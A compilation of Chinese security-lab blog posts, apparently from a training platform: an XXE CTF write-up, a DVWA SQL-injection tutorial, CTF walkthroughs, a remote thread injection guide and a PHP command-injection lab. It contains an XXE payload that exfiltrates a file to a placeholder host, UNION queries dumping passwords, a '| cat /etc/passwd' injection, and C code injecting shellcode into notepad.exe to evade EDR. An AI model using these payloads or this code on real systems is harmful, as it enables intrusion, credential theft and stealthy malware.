url下有一个类似于博客的提交框,可能存在存储性的xss 尝试了一下,不存在xss 在http://192.168.153.128:5000/customize 我们可以为上面我们创建的帖子添加样式: 添加样式后的结果如下: 从上面的结果来看我们可以自定义帖子的css样式参数: * { font-size: 51px; color: red; } 至于上面的51px;为什么不是50px;我也不知道QAQ。这个环境就只有两个功能,上面那个发帖子的功能和这个修改样式的功能,发帖子功能大概没什么bug,唯有这个修改样式的比较可疑。我们可以通过burpsuite抓包分析一下。 发送的数据类型是Content-Type: application/json 。我们将其改成Content-Type: application/xml ,看看接不接受xml。 通过其返回没有报错,因此判断是支持xml的,刷新一下页面进一步验证: 现在我们尝试进行xml注入: 结果如下: 接下来就是读取flag.txt文件(环境没有添加flag.txt),最后的payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///app/flag.txt"> ]> <root> <color>&file;</color> <size>40px</size> </root> 0x09.Special Order pt2 0x41414141 CTF的一道题目该题是上一题的进化版(没有环境),允许加载外部的dtd文件,因此payload如下:发送xml请求 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag.txt"> <!ENTITY % xxe SYSTEM "http://ip/payload.dtd"> %xxe; ]> <root> <color>&send;</color> <size>40px</size> </root> 在我们的服务器上 <!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>"> %all; 0x08环境中代码有问题的部分 elif request.content_type == "application/xml" or request.content_type == "text/xml": print(request.data) parser = etree.XMLParser() k = etree.fromstring(request.data, parser) post_color = "" post_size = "" w = "" for i in k.getchildren(): if i.tag == "color": post_color = i.text elif i.tag == "size 没有过滤造成的。 0x0A.防御方法: 禁用外部实体 过滤和验证用户提交的XML数据 不允许XML中含有任何自己声明的DTD 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
sql注入实战篇
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍的是SQL注入实验。SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。 首先我们先进入实验地址https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001。 SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。以Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性,正是有了这种懒惰的程序员SQL注入一直没有消失。这种漏洞不是不可以避免,只是程序员没有这种 对于注入漏洞来说,可能现在很多人认为它已经过时,因为这种漏洞可以被参数化查询而杜绝。以前对这种漏洞的防御方式主要有三种: 字符串检测:限定内容只能由英文、数字等常规字符,如果检查到用户输入有特殊字符,直接拒绝。但缺点是,系统中不可避免地会有些内容包含特殊字符,这时候总不能拒绝入库。 字符串替换:把危险字符替换成其他字符,缺点是危险字符可能有很多,一一枚举替换相当麻烦,也可能有漏网之鱼。 存储过程:把参数传到存储过程进行处理,但并不是所有数据库都支持存储过程。如果存储过程中执行的命令也是通过拼接字符串出来的,还是会有漏洞。 我们还是来实践吧,这样更好理解。 我们先看一下实验的大致思路 (1)找注入并确认(经典的and 1=1 and1=2) (2)查询基本信息(数据库类型、数据库名、应用程序类型以及系统类型) (3)查表名、字段名,拿到想查询的内容 首先我们看一下源码 这就是这一段sql查询语句造成了最常见的SQL注入。我们继续实验,这次利用到了dvwa,我们登录dvwa然后选择SQL Injection 底下难度选择low。 先进行sql注入的第一步测试是否存在sql注入漏洞。 ID等于1的时候可以正常回显 And 1=1可以正常回显 And 1=2返回错误 这里直接返回了首页,和and 1=1返回的页面不一样。这里存在SQL注入。 为什么这样就判断有sql注入了呢?原理是把测试语句代入到了数据库查询,and就是逻辑运算,1=1为真,1=2为假,所以返回不同。 好我们接下来进行第二步判断字段数,order by 2返回正常order by 3返回错误。 字段数已经判断出来,下面如何进一步判断数据库名和用户名等基本信息。 利用语句查询知道有两个字段,接着查询数据库名和用户。 查询数据库等基本信息。 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 这是直接返回了数据库的usr database version。我们知道数据库的名字不就可以利用查询语句找到表的名字。 查询表段 union select 1,table_name from information_schema.tables where table_schema=0x64767761(数据库的十六进制) 查询列名 union select 1,column_name from information_schema.columns where table_name=0x7573657273(表的十六进制) and table_schema=0x64767761(数据库的十六进制) 查询用户名密码 union select password,user from users 这就把用户名跟密码爆出来了。 sql注入还不止这点,还有很多类型: 1)注入分为哪几种类型?分类依据是什么?是否唯一? 2)普通注入和盲注的区别是什么?利用方法有什么不同? 本次的实验就介绍到这里,注意多加总结和思考课后问题!我们学习的目的除了了解之外,更重要的是学习如何防范SQL注入。在面对SQL注入攻击的时候,了解其原理才能更好的防范。 下面总结几点防范SQL注入攻击的要点: 1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。 2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。 3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。 5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。 这个技术你学会了吗?加入https://www.yijinglab.com/loginLab.do#stu,1300+网安技能任你学!
CTF训练之OneWayIn
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 上次的题目counting star领悟透了吗?这次再介绍一道CTF真题吧,本次题目名称是onewayin,会用到代码解密等方面的知识。 今天介绍的CTF题目很有意思的。进入实验链接 https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714465400001,进入实验机操作。实验地址10.1.1.82。 你看到这个界面可以想到些什么呢?我们看到web题肯定首先就是看源码啊。 查看源码发现: 我们来分析一下这个源码。这里说: 当0_usename=0_pwd的时候输出f1() Crc32(0_usename)=Crc32(0_pwd)的时候输出f2() 不然就f3,东哥这里两个字符串的32位CRC相等需要输入的字符串相同吧,这不是跟前面的f1()判断冲突了吗? 这就不知道吧,我们这里是需要利用CRC32函数的一个缺陷,抓包把参数改成数组并且用户名和密码的值不同,如下图: 这样就可以绕过crc32函数了吗?对,不信的话,我们来试验一下把这个数据放至Repeater模块里, 点击go你会发现出现了不同的东西, 再点击跟随跳转, 然后再点击一次跟随跳转, 这出来好多十六进制,当然我们不能只看返回啊,看一下url那里是不是有一个base64编码。 我们把这个base64解密一下居然是test.txt,这里是file=多少。哇,那我们是不是可以进行文件读取。 我们可以试一下,看看能不能读index.php的源码,先把index.php编码, 把编码之后的替换到刚才url参数的位置并点击go。 看上去好像没什么东西啊?就一个<?php没什么用啊。仔细观察的话,可以看见还有一个num参数。改一下这个num参数试一试,感觉应该是解题关键了。我们试一下返回了一些代码,我估计这里的num是表示显示多少行的函数。 果然提交不同的num参数会显示不同的源代码的行(num的值为1的时候显示index.php的第一行源代码)这底下是我记录的代码。 我们分析一下代码根据源码的提示想要访问flag.php,cookie必须有role_cookie这项,并且值为flagadmin。 直接在抓包文件上面构造一个cookie= flagadmin,我们按照这个来读取一下flag.php,这好像乱码了。 不要急,我们可以用curl这个工具把源码下载下来 这打开还是乱码? 嗯...不要急,把这个丢进php环境里看一下会运行出什么。 这是一串base64的编码,我们操作解密一下就知道了,base64解密之后发现flag。 这次的题目也颇有难度,CTF的每一道题感觉都要花不少功夫啊!当然,孰能生巧,熟练掌握这道题的解题技巧,下次碰到类似的题目可以节省很多时间。这道题利用函数缺陷,抓包,提交,解码等过程,都需要熟练掌握才能解题! 这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
CTF训练之 CountingStars
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>> 今天介绍一道某比赛的真题。   首先我们来进行CTF 练习,进入实验链接:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714413800001   首先看到题目名称:CoutingStars ,数星星,不知道是代表什么,我们直接进入到题目发现页面:    ??数星星?难道是数这个$ 符号有多少个?动动脑筋, CTF哪里有这么简单。 我们来看页面打印了一句话,还是没什么头绪,随意的在输入框中输入,点击提交,答案错误,页面返回Sorry...  这只是测试一下,我们再来查看一下源码,看看有什么头绪。  里面有关键信息OS : MAC OS 。但是, 你知道MAC OS 有一个有名的 .DS_Store 文件泄露敏感信息吗? 请记住一下,这里应该是解题的关键。我们来访问一下.DS_Store  看来我们找到题目的关键了来看一下我们刚刚下载的文件。    这个.zip 文件是什么?我们访问一下试一试就知道了。  居然又可以下载。看来我们的思路没错我们来看一下这个文件里面是什么。  这一看就是这个题目的源码啊。但是我们要分析这个源码。好像挺麻烦的我们就直接改一下代码吧让他自己输出。   我们是不是输入这一个值就通关了呢? 理论上来说是这样。我们把d0llars 作为答案,输入看一下,   又翻车了?咳咳,应该没错刚刚好像页面闪了一下。这里有什么蹊跷吗?我们用burpsuite 抓包看一下果然 flag 在刚刚闪过的页面里面。   成功获取到了flag 。  3.通关总结 解题过程中遇到的一些困难,你还不能很快的发现并解决吧!知识在于积累,更何况CTF 讲究的是技术比拼,没有丰富的经验和缜密的思维,很难胜人一筹哦! 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
一文读懂远程线程注入
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=91bd2094-4ebb-4438-b969-bfd8ee7f48b9(通过实验了解DLL注入型病毒的攻击过程) 进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。 我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。 标准的windows API 优点:易于使用 缺点:可被大多数AV/EDR检测到 我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。 DWORD find_process(char *process_name){ PROCESSENTRY32 process_entry; process_entry.dwSize = sizeof(PROCESSENTRY32); //get the list of processes HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //check processes to find TARGET_PROCESS_NAME if (Process32First(snapshot, &process_entry) == TRUE){       while (Process32Next(snapshot, &process_entry) == TRUE){       if (stricmp(process_entry.szExeFile, process_name) == 0){      CloseHandle(snapshot);    return process_entry.th32ProcessID;           }       }   } CloseHandle(snapshot); return 0; } 下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。 HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id); 现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。 LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。 WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL); 这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。 CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL); 为了能在kali中编译代码,我们需要使用MinGW编译器。 x86_64-w64-mingw32-gcc main.c -o rti.exe 我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。 Native API 优点:能够绕过一些AV/EDR 缺点: 很难使用 仍可能被大多数AV/EDR检测到。 无法在所有版本的Windows上运行 为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。 Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。 在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针. 我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。 HMODULE hNtdll = LoadLibraryW(L"ntdll"); 然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。 typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID); pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess"); 我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。 NtOpenProcess 和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。 #define InitializeObjectAttributes(p,n,a,r,s) { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = (r); \ (p)->Attributes = (a); \ (p)->ObjectName = (n); \ (p)->SecurityDescriptor = (s); \ (p)->SecurityQualityOfService = NULL; \ } typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG           Length; HANDLE          RootDirectory; PUNICODE_STRING ObjectName; ULONG           Attributes; PVOID           SecurityDescriptor; PVOID           SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ; OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL,0,NULL,NULL); CLIENT_ID ci = { (HANDLE)procid, NULL }; 现在我们可以使用 NtOpenProcess函数 NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci); NtAllocateVirtualMemory 我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。 typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) 然后我们得到函数的基地址。 pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory") 我们把这个地址称为 "NtWriteVirtualMemory" NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE) 我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。 NtWriteVirtualMemory 像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递 typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory"); NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL); NtCreateThreadEx 现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。 NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL) Direct Syscalls 优点:用户系统中所有的API监控工具都无法检测到。 缺点: 可能无法在所有版本的Windows上运行 很难使用 在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。 syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。 syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10 这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。 文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
实战篇——PHP命令注入攻击
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍的使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据,命令注入漏洞就产生了。 命令注入攻击是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。 PHP中可以使用下列四个函数来执行外部的应用程序或函数:system、exec、passthru、shell_exec,四个函数的原型如下: string system(string command, int &return_var) command 要执行的命令; return_var 存放执行命令的执行后的状态值。 string exec (string command, array &output, int &return_var) command 要执行的命令,output 获得执行命令输出的每一行字符串,return_var 存放执行命令后的状态值。 void passthru (string command, int &return_var) command 要执行的命令,return_var 存放执行命令后的状态值。 string shell_exec (string command) command 要执行的命令,如下例所示,表示通过提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,执行命令变成了system("ls -al | cat /etc/passwd"),输出/etc/passwd 文件的具体内容。 //ex1.php <?php $dir = $_GET["dir"]; if (isset($dir)) { echo ""; system("ls -al ".$dir); echo ""; } ?> 实验内容和步骤 本实验分为两个实列任务: 实例一:你得知道如何在命令行下一箭双雕; 实例二:读懂了header,就ok了; 实例一、使远程服务器执行“whoami”的命令 在蚁景网安实验室(http://www.yijinglab.com/)中搜索《PHP命令注入》,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例1” 关键代码: 根据前面预备知识的实例分析,构造输入参数让远程服务器执行“whoami”命令。 实例二、使远程服务器执行“ipconfig”的命令 在蚁景网安实验室中收索PHP命令注入,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例3” 关键代码: preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。preg_match() 匹配成功一次后就会停止匹配,如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。header()函数的作用是:发送一个原始 HTTP 标头[Http Header]到客户端。标头 (header) 是服务器以 HTTP 协义传 HTML 资料到浏览器前所送出的字串,在标头与 HTML 文件之间尚需空一行分隔。 本次实验今天就介绍到这里了,实验内容虽然不多,但是要理解清楚还是要多花时间,表面上看只有2个实验,但是操作起来还是有很多步骤呢! 命令/代码注入作为一种危害性极大的漏洞,应该引起我们的重视。本实验也只是总结了一些常见的命令/代码注入问题,至于潜藏在代码深处的漏洞,还要靠自己多多挖掘。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。